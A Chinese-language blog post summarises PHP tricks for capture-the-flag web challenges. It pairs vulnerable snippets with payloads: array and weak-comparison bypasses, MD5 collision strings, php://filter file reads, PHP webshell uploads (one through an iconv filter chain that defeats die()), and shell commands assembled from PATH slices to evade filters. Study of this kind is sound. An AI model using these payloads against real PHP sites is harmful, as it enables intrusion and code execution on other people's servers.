PHP特性總結
來源: Tajang的大千世界
1、數組繞過正則表達式
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
else(intval($num)){
echo $flag;
}
preg_match第二個參數要求是字符串,如果傳入數組則不會進入if語句
payload:num[]=1
2、intval函數的使用
intval( mixed $value, int $base = 10) : int
如果 base 是 0,通過檢測 value 的格式來決定使用的進制:
◦ 如果字符串包括了 “0x” (或 “0X”) 的前綴,使用 16 進制 (hex);否則,
◦ 如果字符串以 “0” 開始,使用 8 進制(octal);否則,
◦ 將使用 10 進制 (decimal)。
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
else{
echo intval($num,0);
}
科學計數法也可以繞過
intval('4476.0')===4476 小數點
intval('+4476.0')===4476 正負號
intval('4476e0')===4476 科學計數法
intval('0x117c')===4476 16進制
intval('010574')===4476 8進制
intval(' 010574')===4476 8進制+空格
payload:num=4476.0
3、正則表達式修飾符
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
i 不區分(ignore)大小寫;m多(more)行匹配,若有換行符則以換行符分割,按行匹配
payload:%0aphp
,第一行匹配換行后有php故通過,第二個不符合php開頭php結尾故不通過
4、highlight_file路徑
highlight_file的參數可以是路徑的
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
if語句只比對字符串,highlight_file可以寫路徑,故payload有多種解法:
/var/www/html/flag.php 絕對路徑
./flag.php 相對路徑
php://filter/resource=flag.php php偽協議
5、md5比較缺陷
PHP中hash比較是存在缺陷的,MD5無法處理數組,如果傳入數組則返回NULL,兩個NULL是強相等的
if ($_POST['a'] != $_POST['b']){
if (md5($_POST['a']) === md5($_POST['b'])){
echo $flag;
}
else{
print 'Wrong.';
}
}
不同數據強相等
payload:a[]=1&b[]=2
md5弱比較,使用了強制類型轉換后不再接收數組
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比較,為0e開頭的會被識別為科學記數法,結果均為0,所以只需找兩個md5后都為0e開頭且0e后面均為數字的值即可。
不同數據弱相等
payload: a=QNKCDZO&b=240610708
MD5等於自身,如md5($a)==$a
,php弱比較會把0e開頭識別為科學計數法,結果均為0,所以此時需要找到一個MD5加密前后都是0e開頭的,如0e215962017
md5強碰撞
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
這時候需要找到兩個真正的md5值相同數據
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
6、三目運算符的理解+變量覆蓋
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
太經典了,我暈了
第一行,GET被設置,就可以用POST覆蓋GET的值。中間兩行意義不大,是flag就被COOKIE覆蓋,然后被SERVER覆蓋,不是flag被賦值flag然后條件成立也是被SERVER覆蓋。而且這個被覆蓋的GET沒有指定,任意都行,第四行才是關鍵,等於flag就輸出flag,不等於顯示源碼。所以只需要傳入一個任意的GET保證$_GET
是被設置的。然后POST一個覆蓋它
payload:get:1=1 post:HTTP_FLAG=flag
7、php弱類型比較
經典
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
弱比較字符串1.php與1返回true。array_push
這個函數往里填數字1,則是int類型,in_array使用的就是==弱比較。所以,如果數組里有數字1,與字符串1.php比較時是返回true的。注意,$array( 1 , ‘2’ , ‘3’ ),這里1是int型,2和3都是string類型。
這道題,每次生成隨機數都包含1,所以1在數組中的可能最大。
payload:n=1.php post:content=<?php eval($_POST[1]);?>
多試幾次,然后蟻劍直接連
8、and與&&的區別
<?php
$a=true and false and false;
var_dump($a); 返回true
$a=true && false && false;
var_dump($a); 返回false
9、反射類ReflectionClass
反射類還不太懂,但做過題都是直接輸出這個類echo new ReflectionClass('類名');
10、is_numeric與hex2bin
is_numeric在PHP5中是可以識別十六進制的,hex2bin參數不能帶0x
11、sha1比較缺陷
sha1無法處理數組,如下可使用a[]=1&b[]=1數組繞過
if($a==$b){
if(sha1($a)==sha1($b)){
echo $flag;
}
}
但MD5或者sha1這種如果強制類型轉換后,就不接受數組了,這個時候就要找真正的編碼后相同的了,如
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
12、PHP雙$($$)的變量覆蓋
在雙寫$的時候,屬於動態變量,就是后面的變量值作為新的變量名
$test="a23"; $test等於a23
$$test=456; $$test也就等於$23,這里相當於給$a23賦值了
echo $test; 正常輸出$test為a23
echo $$test; 這里輸出$$test,就是$a23,為456
echo $a23; 第二行給$a23賦值了,這里正常輸出
13、parse_str函數的使用
parse_str會把字符串解析為變量,大部分是傳入的多個值
$a="q=123&p=456";
parse_str($a);
echo $q; 輸出123
echo $p; 輸出456
parse_str($a,$b); 第二個參數作為數組,解析的變量都存入這個數組中
echo $b['q']; 輸出123
echo $b['p']; 輸出456
php8版本必須要有第二個參數,php7不影響使用但會警告一下
14、ereg %00正則截斷
ereg PHP5.3廢棄了,功能可以由preg_match代替,ereg有個截斷漏洞,字符串里包括%00就只匹配%00之前的內容。所以可以前面根據正則改,后面是執行語句,如果有strrev() 這種字符串反轉函數配合用更好。
15、迭代器獲取當前目錄
FilesystemIterator可以獲得文件目錄,參數需要 .
或者具體路徑,getcwd()這個函數可以獲取當前文件路徑,二者在一定條件下配合使用較好
16、$GLOBALS全局變量的使用
$GLOBALS — 引用全局作用域中可用的全部變量
一個包含了全部變量的全局組合數組。變量的名字就是數組的鍵。
構造出var_dump($GLOBALS);可以輸出全部變量值,包括自定義
17、php偽協議繞過is_file highlight_file對於php偽協議的使用
is_file判斷給定文件名是否為一個正常的文件,返回值為布爾類型。is_file會認為php偽協議不是文件。但highlight_file認為偽協議可以是文件。
if(! is_file($file)){
highlight_file($file);
}else{
echo "hacker!";
}
如上的代碼,可以傳入php偽協議進行繞過並且顯示含有flag的文件。若有過濾,可以換其他偽協議或改編碼方式
18、多寫根目錄繞過is_file
在linux中/proc/self/root是指向根目錄的,也就是如果在命令行中輸入ls /proc/self/root,其實顯示的內容是根目錄下的內容
多次重復后繞過is_file的具體原理尚不清楚。如上面的代碼,也可以用下面payload代替
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
這個按理說也是文件的,但is_file認為不是
19、trim函數的繞過+is_numeric繞過
這兩個函數一起檢測時,is_numeric
認為內容里有%09 %0a %0b %0c %0d %20也算數字,跟trim一起測試一下
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}
除了+-.號以外還有只剩下%0c也就是換頁符了,trim默認時沒有剔除%0c。形如以下代碼可以繞過
if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}
payload:num=%0c36
20、繞過死亡die
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
這道看了羽師傅wp,過濾了許多協議,這是取一個 UCS-2LE UCS-2BE
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
這會將字符兩位兩位交換,file_put_contents在寫入的時候會破壞那句die,但contents那句恢復原貌,可以執行
21、通過內置bash命令構造命令
在許多命令被過濾時,可以一個字母一個字母得構造,而這些字母從內置變量里面截,比如構造nl
,可以寫為下面這種方式
${PATH:14:1}${PATH:5:1}
在linux中可以用~
獲取變量的最后幾位,也可以寫為${PATH:~0}${PWD:~0}
,字母與0作用一樣,${PATH:~A}${PWD:~A}
也是nl,flag.php也過濾了的話可以用????.???,具體情況,具體對待
22、PHP變量名非法字符
比如傳入AA_BB.CC這個變量,PHP是不允許變量名中含有.
的,會默認將不合法字符替換為_
,如下:
<?php
var_dump($_POST);
?>
傳值:AA.BB.CC=14
輸出:array(1) { ["AA_BB_CC"]=> string(2) "14" }
但輸入AA[BB.CC
它就只替換 [
輸出 array(1) { [“AA_BB.CC”]=> string(2) “14” }
23、gettext拓展的使用
var_dump(call_user_func($f1,$f2));
如以上代碼,多重過濾后,f1可以為gettext
,f2可以為phpinfo
,如果過濾更為嚴格,更改ini文件里的拓展后, _()
等效於 gettext()
<?php
echo gettext("phpinfo");
結果 phpinfo
echo _("phpinfo");
結果 phpinfo
24、正則最大回溯次數繞過
PHP 為了防止正則表達式的拒絕服務攻擊(reDOS),給 pcre 設定了一個回溯次數上限 pcre.backtrack_limit
回溯次數上限默認是 100 萬。如果回溯次數超過了 100 萬,preg_match 將不再返回非 1 和 0,而是 false。
也就是說前面100萬個字母,后面是語句就好,如下面的例子
if(preg_match('/.+?ABC/is', $f)){
die('bye!');
}
if(stripos($f, 'ABC') === FALSE){
die('bye!!');
}
echo $flag;
前面100萬個字母后面ABC就可以echo $flag
25、調用類中的函數
->用於動態語境處理某個類的某個實例
::可以調用一個靜態的、不依賴於其他初始化的類方法
也就是說雙冒號不用實例化類就可以調用類中的靜態方法
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
這個傳入ctfshow=ctfshow::getFlag即可
26、return繞過
eval("return 1;phpinfo();");
會發現是無法執行phpinfo()的,但是php中有個有意思的地方,數字是可以和命令進行一些運算的,例如 1-phpinfo();
是可以執行phpinfo()命令的。
來源: Tajang的大千世界
文章作者: Tajang
文章鏈接: https://ctfking.com/2021/07/14/php-te-xing-zong-jie/